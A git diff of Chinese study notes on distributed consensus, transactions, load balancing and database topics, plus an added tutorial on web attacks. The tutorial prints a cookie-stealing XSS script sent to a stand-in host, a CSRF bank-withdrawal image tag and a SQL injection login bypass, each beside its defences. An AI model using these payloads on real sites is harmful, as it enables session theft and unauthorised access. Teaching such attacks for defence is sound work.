通过 **租约机制** 来对故障进行检测。假设节点 A 为主控节点,节点 A 向节点 B 发送租约,节点 B 在租约规定的期限内才能提供服务。期限快到达时,节点 B 需要向 A 重新申请租约。
如果过期,那么 B 不再提供服务,并且 A 也能知道 B 此时可能发生故障并已经停止服务。可以看到通过这种机制A 和 B 都能对 B 发生故障这一事实达成一致。
## 故障恢复
当某个节点故障时,就将它上面的服务迁移到其它节点。
# 五、一致性协议
## Paxos 协议
用于达成共识性问题,即对多个节点产生的值,该算法能保证只选出唯一一个值。
主要有三类节点:
- 提议者Proposer提议一个值
- 接受者Acceptor对每个提议进行投票
- 告知者Learner被告知投票的结果不参与投票过程。
<div align="center"> <img src="../pics//0aaf4630-d2a2-4783-b3f7-a2b6a7dfc01b.jpg"/> </div><br>
### 1. 执行过程
规定一个提议包含两个字段:[n, v],其中 n 为序号具有唯一性v 为提议值。
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送提议请求。
<div align="center"> <img src="../pics//2bf2fd8f-5ade-48ba-a2b3-74195ac77c4b.png"/> </div><br>
当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
如下图Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
<div align="center"> <img src="../pics//3f5bba4b-7813-4aea-b578-970c7e3f6bf3.jpg"/> </div><br>
如果 Acceptor 接收到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送提议响应该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4因此就发送 [n=2, v=8] 的提议响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
<div align="center"> <img src="../pics//9b829410-86c4-40aa-ba8d-9e8e26c0eeb8.jpg"/> </div><br>
当一个 Proposer 接收到超过一半 Acceptor 的提议响应时,就可以发送接受请求。
Proposer A 接收到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。
<div align="center"> <img src="../pics//2c4556e4-0751-4377-ab08-e7b89d697ca7.png"/> </div><br>
Acceptor 接收到接受请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
<div align="center"> <img src="../pics//8adb2591-d3f1-4632-84cb-823fb9c5eb09.jpg"/> </div><br>
### 2. 约束条件
**(一)正确性**
指只有一个提议值会生效。
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
**(二)可终止性**
指最后总会有一个提议生效。
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
## Raft 协议
Raft 和 Paxos 类似,但是更容易理解,也更容易实现。
Raft 主要是用来竞选主节点。
### 1. 单个 Candidate 的竞选
有三种节点Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间,一般为 150ms\~300ms如果在这个时间内没有收到 Leader 的心跳包,就会变成 Candidate进入竞选阶段。
- 下图表示一个分布式系统的最初阶段,此时只有 Follower没有 Leader。Follower A 等待一个随机的竞选超时时间之后,没收到 Leader 发来的心跳包,因此进入竞选阶段。
<div align="center"> <img src="../pics//111521118015898.gif"/> </div><br>
- 此时 A 发送投票请求给其它所有节点。
<div align="center"> <img src="../pics//111521118445538.gif"/> </div><br>
- 其它节点会对请求进行回复,如果超过一半的节点回复了,那么该 Candidate 就会变成 Leader。
<div align="center"> <img src="../pics//111521118483039.gif"/> </div><br>
- 之后 Leader 会周期性地发送心跳包给 FollowerFollower 接收到心跳包,会重新开始计时。
<div align="center"> <img src="../pics//111521118640738.gif"/> </div><br>
### 2. 多个 Candidate 竞选
* 如果有多个 Follower 成为 Candidate并且所获得票数相同那么就需要重新开始投票例如下图中 Candidate B 和 Candidate D 都获得两票,因此需要重新开始投票。
<div align="center"> <img src="../pics//111521119203347.gif"/> </div><br>
* 当重新开始投票时,由于每个节点设置的随机竞选超时时间不同,因此能下一次再次出现多个 Candidate 并获得同样票数的概率很低。
<div align="center"> <img src="../pics//111521119368714.gif"/> </div><br>
### 3. 日志复制
- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交只是写入日志中。
<div align="center"> <img src="../pics//7.gif"/> </div><br>
- Leader 会把修改复制到所有 Follower。
<div align="center"> <img src="../pics//9.gif"/> </div><br>
- Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。
<div align="center"> <img src="../pics//10.gif"/> </div><br>
- 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。
<div align="center"> <img src="../pics//11.gif"/> </div><br>
## 拜占庭将军问题
> [拜占庭将军问题深入探讨](http://www.8btc.com/baizhantingjiangjun)
# 六、CDN 架构
通过将内容发布到靠近用户的边缘节点,使不同地域的用户在访问相同网页时可以就近获取。不仅可以减轻服务器的负担,也可以提高用户的访问速度。
从下图可以看出DNS 在对域名解析时不再向用户返回源服务器的 IP 地址,而是返回边缘节点的 IP 地址,所以用户最终访问的是边缘节点。边缘节点会先从源服务器中获取用户所需的数据,如果请求成功,边缘节点会将页面缓存下来,下次用户访问时可以直接读取。
<div align="center"> <img src="../pics//dbd60b1f-b700-4da6-a993-62578e892333.jpg"/> </div><br>
# 参考资料
- 杨传辉. 大规模分布式存储系统: 原理解析与架构实战[M]. 机械工业出版社, 2013.
- 杨传辉. 大规模分布式存储系统: 原理解析与架构实战[M]. 机械工业出版社, 2013.
- [区块链技术指南](https://www.gitbook.com/book/yeasy/blockchain_guide/details)
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)

View File

@ -1,285 +0,0 @@
<!-- GFM-TOC -->
* [一、分布式事务](#一分布式事务)
* [两阶段提交协议](#两阶段提交协议)
* [本地消息](#本地消息)
* [二、分布式锁](#二分布式锁)
* [原理](#原理)
* [实现](#实现)
* [三、分布式 Session](#三分布式-session)
* [四、负载均衡](#四负载均衡)
* [算法](#算法)
* [实现](#实现)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、分布式事务
指事务的操作位于不同的节点上,需要保证事务的 AICD 特性。例如在下单场景下,库存和订单如果不在同一个节点上,就需要涉及分布式事务。
## 两阶段提交协议
Two-phase Commit2PC
两类节点协调者Coordinator和参与者Participants协调者只有一个参与者可以有多个。
### 1. 运行过程
① 准备阶段:协调者询问参与者事务是否执行成功;
<div align="center"> <img src="../pics//c8dbff58-d981-48be-8c1c-caa6c2738791.jpg"/> </div><br>
② 提交阶段:如果事务在每个参与者上都执行成功,协调者发送通知让参与者提交事务;否则,协调者发送通知让参与者回滚事务。
<div align="center"> <img src="../pics//aa844ff0-cd16-4478-b415-da071b615a17.jpg"/> </div><br>
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
### 2. 分析
2PC 可以保证强一致性,但是因为在准备阶段协调者需要等待所有参与者的结果才能进入提交阶段,因此可用性差。
### 3. 存在的问题
- 参与者发生故障。解决方案:可以给事务设置一个超时时间,如果某个参与者一直不响应,那么认为事务执行失败。
- 协调者发生故障。解决方案:将操作日志同步到备用协调者,让备用协调者接替后续工作。
### 4. XA 协议
XA 协议是多数数据库的 2PC 协议的实现,包含了事务管理器和本地资源管理器。
## 本地消息
### 1. 原理
本地消息表与业务数据表处于同一个数据库中,这样就能利用本地事务来保证在对这两个表的操作满足事务特性。
1. 在分布式事务操作的一方,它完成写业务数据的操作之后向本地消息表发送一个消息,本地事务能保证这个消息一定会被写入本地消息表中。
2. 之后将本地消息表中的消息转发到 Kafka 等消息队列MQ如果转发成功则将消息从本地消息表中删除否则继续重新转发。
3. 在分布式事务操作的另一方从消息队列中读取一个消息,并执行消息中的操作。
<div align="center"> <img src="../pics//e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
### 2. 分析
本地消息表利用了本地事务来实现分布式事务,并且使用了消息队列来保证最终一致性。
# 二、分布式锁
可以使用 Java 提供的内置锁来实现进程同步:由 JVM 实现的 synchronized 和 JDK 提供的 Lock。但是在分布式场景下需要同步的进程可能位于不同的节点上那么就需要使用分布式锁来同步。
## 原理
锁可以有阻塞锁和乐观锁两种实现方式,这里主要探讨阻塞锁实现。阻塞锁通常使用互斥量来实现,互斥量为 1 表示有其它进程在使用锁,此时处于锁定状态,互斥量为 0 表示未锁定状态。1 和 0 可以用一个整型值来存储,也可以用某个数据存在或者不存在来存储,某个数据存在表示互斥量为 1也就是锁定状态。
## 实现
### 1. 数据库的唯一索引
当想要获得锁时,就向表中插入一条记录,释放锁时就删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否存于锁定状态。
这种方式存在以下几个问题:
- 锁没有失效时间,解锁失败会导致死锁,其他线程无法再获得锁。
- 只能是非阻塞锁,插入失败直接就报错了,无法重试。
- 不可重入,同一线程在没有释放锁之前无法再获得锁。
### 2. Redis 的 SETNX 指令
使用 SETNXset if not exist指令插入一个键值对如果 Key 已经存在,那么会返回 False否则插入成功并返回 True。
SETNX 指令和数据库的唯一索引类似,可以保证只存在一个 Key 的键值对,可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
EXPIRE 指令可以为一个键值对设置一个过期时间,从而避免了死锁的发生。
### 3. Redis 的 RedLock 算法
使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时仍然可用。
- 尝试从 N 个相互独立 Redis 实例获取锁,如果一个实例不可用,应该尽快尝试下一个。
- 计算获取锁消耗的时间只有当这个时间小于锁的过期时间并且从大多数N/2+1实例上获取了锁那么就认为锁获取成功了。
- 如果锁获取失败,会到每个实例上释放锁。
### 4. Zookeeper 的有序节点
Zookeeper 是一个为分布式应用提供一致性服务的软件,例如配置管理、分布式协同以及命名的中心化等,这些都是分布式系统中非常底层而且是必不可少的基本功能,但是如果自己实现这些功能而且要达到高吞吐、低延迟同时还要保持一致性和可用性,实际上非常困难。
**(一)抽象模型**
Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点表示它的父节点为 /app1。
<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
**(二)节点类型**
- 永久节点:不会因为会话结束或者超时而消失;
- 临时节点:如果会话结束或者超时就会消失;
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000它的下一个有序节点则为 /lock/node-0000000001依次类推。
**(三)监听器**
为一个节点注册监听器,在节点状态发生改变时,会给客户端发送消息。
**(四)分布式锁实现**
- 创建一个锁目录 /lock
- 在 /lock 下创建临时的且有序的子节点,第一个客户端对应的子节点为 /lock/lock-0000000000第二个为 /lock/lock-0000000001以此类推
- 客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁;否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
- 执行业务代码,完成后,删除对应的子节点。
**(五)会话超时**
如果一个已经获得锁的会话超时了因为创建的是临时节点所以该会话对应的临时节点会被删除其它会话就可以获得锁了。可以看到Zookeeper 分布式锁不会出现数据库的唯一索引实现分布式锁的死锁问题。
**(六)羊群效应**
一个节点未获得锁,需要监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
# 三、分布式 Session
在分布式场景下,一个用户的 Session 如果只存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器上,该服务器没有用户的 Session就可能导致用户需要重新进行登录等操作。
<div align="center"> <img src="../pics//cookiedata.png"/> </div><br>
### 1. Sticky Sessions
需要配置负载均衡器,使得一个用户的所有请求都路由到一个服务器节点上,这样就可以把用户的 Session 存放在该服务器节点中。
缺点:当服务器节点宕机时,将丢失该服务器节点上的所有 Session。
<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
### 2. Session Replication
在服务器节点之间进行 Session 同步操作,这样的话用户可以访问任何一个服务器节点。
缺点:需要更好的服务器硬件条件;需要对服务器进行配置。
<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
### 3. Persistent DataStore
将 Session 信息持久化到一个数据库中。
缺点:有可能需要去实现存取 Session 的代码。
<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
### 4. In-Memory DataStore
可以使用 Redis 和 Memcached 这种内存型数据库对 Session 进行存储,可以大大提高 Session 的读写效率。内存型数据库同样可以持久化数据到磁盘中来保证数据的安全性。
# 四、负载均衡
## 算法
### 1. 轮询Round Robin
轮询算法把每个请求轮流发送到每个服务器上。下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后,(1, 3, 5) 的请求会被发送到服务器 1(2, 4, 6) 的请求会被发送到服务器 2。
<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担过大的负载(下图的 Server 2
<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
### 2. 加权轮询Weighted Round Robbin
加权轮询是在轮询的基础上,根据服务器的性能差异,为服务器赋予一定的权值。例如下图中,服务器 1 被赋予的权值为 5服务器 2 被赋予的权值为 1那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1(6) 请求会被发送到服务器 2。
<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
### 3. 最少连接least Connections
由于每个请求的连接时间不一样,使用轮询或者加权轮询算法的话,可能会让一台服务器当前连接数过大,而另一台服务器的连接过小,造成负载不均衡。例如下图中,(1, 3, 5) 请求会被发送到服务器 1但是 (1, 3) 很快就断开连接,此时只有 (5) 请求连接服务器 1(2, 4, 6) 请求被发送到服务器 2只有 (2) 的连接断开。该系统继续运行时,服务器 2 会承担过大的负载。
<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
最少连接算法就是将请求发送给当前最少连接数的服务器上。例如下图中,服务器 1 当前连接数最小,那么新到来的请求 6 就会被发送到服务器 1 上。
<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
### 4. 加权最少连接Weighted Least Connection
在最少连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。
<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
### 5. 随机算法Random
把请求随机发送到服务器上。和轮询算法类似,该算法比较适合服务器性能差不多的场景。
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
### 6. 源地址哈希法 (IP Hash)
源地址哈希通过对客户端 IP 哈希计算得到的一个数值,用该数值对服务器数量进行取模运算,取模结果便是目标服务器的序号。
- 优点:保证同一 IP 的客户端都会被 hash 到同一台服务器上。
- 缺点:不利于集群扩展,后台服务器数量变更都会影响 hash 结果。可以采用一致性 Hash 改进。
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
## 实现
### 1. HTTP 重定向
HTTP 重定向负载均衡服务器收到 HTTP 请求之后会返回服务器的地址,并将该地址写入 HTTP 重定向响应中返回给浏览器,浏览器收到后需要再次发送请求。
缺点:
- 用户访问的延迟会增加;
- 如果负载均衡器宕机,就无法访问该站点。
<div align="center"> <img src="../pics//10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png"/> </div><br>
### 2. DNS 重定向
使用 DNS 作为负载均衡器,根据负载情况返回不同服务器的 IP 地址。大型网站基本使用了这种方式做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。
缺点:
- DNS 查找表可能会被客户端缓存起来,那么之后的所有请求都会被重定向到同一个服务器。
<div align="center"> <img src="../pics//f8b16d1e-7363-4544-94d6-4939fdf849dc.png"/> </div><br>
### 3. 修改 MAC 地址
使用 LVSLinux Virtual Server这种链路层负载均衡器根据负载情况修改请求的 MAC 地址。
<div align="center"> <img src="../pics//f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png"/> </div><br>
### 4. 修改 IP 地址
在网络层修改请求的目的 IP 地址。
<div align="center"> <img src="../pics//265a355d-aead-48aa-b455-f33b62fe729f.png"/> </div><br>
### 5. 代理自动配置
正向代理与反向代理的区别:
- 正向代理:发生在客户端,是由用户主动发起的。比如翻墙,客户端通过主动访问代理服务器,让代理服务器获得需要的外网数据,然后转发回客户端。
- 反向代理:发生在服务器端,用户不知道代理的存在。
PAC 服务器是用来判断一个请求是否要经过代理。
<div align="center"> <img src="../pics//52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg"/> </div><br>
# 参考资料
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
- [负载均衡算法及手段](https://segmentfault.com/a/1190000004492447)
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
- [Apache Wicket User Guide - Reference Documentation](https://ci.apache.org/projects/wicket/guide/6.x/)
- [集群/分布式环境下 5 种 Session 处理策略](http://blog.csdn.net/u010028869/article/details/50773174?ref=myread)
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
- [关于分布式事务](http://blog.csdn.net/suifeng3051/article/details/52691210)
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
- [微服务场景下的数据一致性解决方案](https://opentalk.upyun.com/310.html)
- [聊聊分布式事务,再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)

File diff suppressed because it is too large Load Diff

193
notes/攻击技术.md Normal file
View File

@ -0,0 +1,193 @@
<!-- GFM-TOC -->
* [一、跨站脚本攻击](#一跨站脚本攻击)
* [二、跨站请求伪造](#二跨站请求伪造)
* [三、SQL 注入攻击](#三sql-注入攻击)
* [四、拒绝服务攻击](#四拒绝服务攻击)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、跨站脚本攻击
## 概念
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。
## 攻击原理
例如有一个论坛网站,攻击者可以在上面发布以下内容:
```html
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之后该内容可能会被渲染成以下形式:
```html
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
## 危害
- 窃取用户的 Cookie
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
## 防范手段
### 1. 设置 Cookie 为 HttpOnly
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。
### 2. 过滤特殊字符
例如将 `<` 转义为 `&lt;`,将 `>` 转义为 `&gt;`,从而避免 HTML 和 Jascript 代码的运行。
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 `<` 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
```html
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
```
```html
<h1>XSS Demo</h1>
<p>123</p>
&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;
<pre>hello</pre>
&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;
```
> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
# 二、跨站请求伪造
## 概念
跨站请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户浏览器的信任。
## 攻击原理
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
通过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
## 防范手段
### 1. 检查 Referer 首部字段
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
### 2. 添加校验 Token
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
### 3. 输入验证码
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
# 三、SQL 注入攻击
## 概念
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
## 攻击原理
例如一个网站登录验证的 SQL 查询代码为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果填入以下内容:
```sql
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
```
那么 SQL 查询字符串为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
```
此时无需验证通过就能执行以下查询:
```sql
strSQL = "SELECT * FROM users;"
```
## 防范手段
### 1. 使用参数化查询
Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
```java
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```
### 2. 单引号转换
将传入的参数中的单引号转换为连续两个单引号PHP 中的 Magic quote 可以完成这个功能。
# 四、拒绝服务攻击
拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
# 参考资料
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)

View File

@ -1,41 +1,42 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一、事务](#一事务) * [一、事务](#一事务)
* [概念](#概念) * [概念](#概念)
* [四大特性](#四大特性) * [ACID](#acid)
* [AUTOCOMMIT](#autocommit) * [AUTOCOMMIT](#autocommit)
* [二、并发一致性问题](#二并发一致性问题) * [二、并发一致性问题](#二并发一致性问题)
* [问题](#问题) * [丢失修改](#丢失修改)
* [解决方法](#解决方法) * [读脏数据](#读脏数据)
* [不可重复读](#不可重复读)
* [幻影读](#幻影读)
* [三、封锁](#三封锁) * [三、封锁](#三封锁)
* [封锁粒度](#封锁粒度) * [封锁粒度](#封锁粒度)
* [封锁类型](#封锁类型) * [封锁类型](#封锁类型)
* [封锁协议](#封锁协议) * [封锁协议](#封锁协议)
* [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定) * [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定)
* [四、隔离级别](#四隔离级别) * [四、隔离级别](#四隔离级别)
* [未提交读READ UNCOMMITTED](#未提交读read-uncommitted)
* [提交读READ COMMITTED](#提交读read-committed)
* [可重复读REPEATABLE READ](#可重复读repeatable-read)
* [可串行化SERIALIZABLE](#可串行化serializable)
* [五、多版本并发控制](#五多版本并发控制) * [五、多版本并发控制](#五多版本并发控制)
* [版本号](#版本号) * [版本号](#版本号)
* [隐藏的列](#隐藏的列)
* [Undo 日志](#undo-日志) * [Undo 日志](#undo-日志)
* [实现过程](#实现过程) * [实现过程](#实现过程)
* [快照读与当前读](#快照读与当前读) * [快照读与当前读](#快照读与当前读)
* [六、Next-Key Locks](#六next-key-locks) * [六、Next-Key Locks](#六next-key-locks)
* [Record Locks](#record-locks) * [Record Locks](#record-locks)
* [Grap Locks](#grap-locks) * [Gap Locks](#gap-locks)
* [Next-Key Locks](#next-key-locks) * [Next-Key Locks](#next-key-locks)
* [七、关系数据库设计理论](#七关系数据库设计理论) * [七、关系数据库设计理论](#七关系数据库设计理论)
* [函数依赖](#函数依赖) * [函数依赖](#函数依赖)
* [异常](#异常) * [异常](#异常)
* [范式](#范式) * [范式](#范式)
* [八、数据库系统概述](#八数据库系统概述) * [八、ER 图](#八er-图)
* [基本术语](#基本术语) * [实体的三种联系](#实体的三种联系)
* [数据库的三层模式和两层映像](#数据库的三层模式和两层映像) * [表示出现多次的关系](#表示出现多次的关系)
* [九、关系数据库建模](#九关系数据库建模) * [联系的多向性](#联系的多向性)
* [ER 图](#er-图) * [表示子类](#表示子类)
* [十、约束](#十约束)
* [1. 键码](#1-键码)
* [2. 单值约束](#2-单值约束)
* [3. 引用完整性约束](#3-引用完整性约束)
* [4. 域约束](#4-域约束)
* [5. 一般约束](#5-一般约束)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
@ -44,16 +45,18 @@
## 概念 ## 概念
<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png"/> </div><br> 事务指的是满足 ACID 特性的一组操作,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。
事务指的是满足 ACID 特性的一系列操作。在数据库中,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。 <div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png" width="400"/> </div><br>
## 四大特性 ## ACID
### 1. 原子性Atomicity ### 1. 原子性Atomicity
事务被视为不可分割的最小单元,事务的所有操作要么全部提交成功,要么全部失败回滚。 事务被视为不可分割的最小单元,事务的所有操作要么全部提交成功,要么全部失败回滚。
回滚可以用日志来实现,日志记录着事务所执行的修改操作,在回滚时反向执行这些修改操作即可。
### 2. 一致性Consistency ### 2. 一致性Consistency
数据库在事务执行前后都保持一致性状态。在一致性状态下,所有事务对一个数据的读取结果都是相同的。 数据库在事务执行前后都保持一致性状态。在一致性状态下,所有事务对一个数据的读取结果都是相同的。
@ -64,7 +67,20 @@
